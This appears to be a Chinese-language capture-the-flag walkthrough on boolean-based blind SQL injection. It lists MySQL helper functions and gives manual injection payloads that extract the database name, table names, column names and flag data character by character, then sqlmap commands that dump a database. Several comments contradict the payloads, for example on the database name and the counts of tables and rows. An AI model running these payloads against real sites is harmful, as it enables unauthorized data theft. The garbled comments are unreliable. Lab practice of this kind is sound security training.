布尔盲注
页面回显的结果只有两种 true 和 false
true:
false:
常用函数:
- count(x):返回统计的数量
- length(str):返回str字符串的长度
- ascii(str):返回字符串str的最左面字符的ASCII代码值。
- substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回,注意:这里的pos位置是从1开始的,不是数组的0开始
布尔注入非常繁琐费时,基本是利用工具注入,后面写了sqlmap注入的方式,但需要了解布尔注入的手工注入方式
判断当前数据库名的长度:
1 and length(database())=4
#直接给了 true ,数据库 sqli
匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表
1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#数据库是security,这里直接给了true值
判断表的数量:
1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2
#sqli下共是4个表,直接给了true值
匹配表名的ASCII码:
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一个表名是flag,直接给了true值
判断字段(列)数:
1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1个字段,直接给了true值
匹配字段名的ASCII码:
1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag" limit 1,1),1,1))=108
...
#flag,直接给了true值
判断字段下有多少数据:
1 and (select count(flag) from sqli.flag)=1
#flag下有13个数据,直接给了true值
查询数据:
1 and ascii(substr((select flag from sqli.flag limit 0,1),1,1))=99
...
#第一个数据为ctfhub......,这里直接给了true值
sqlmap注入:
爆库名:sqlmap -u http://www.example.com/?id=1 -current-db
爆表名:sqlmap -u http://www.example.com/?id=1 -D security -tables
爆字段名:sqlmap -u http://www.example.com/?id=1 -D security -T users -columns
爆数据:sqlmap -u http://www.example.com/?id=1 -D security -T users -C flag -dump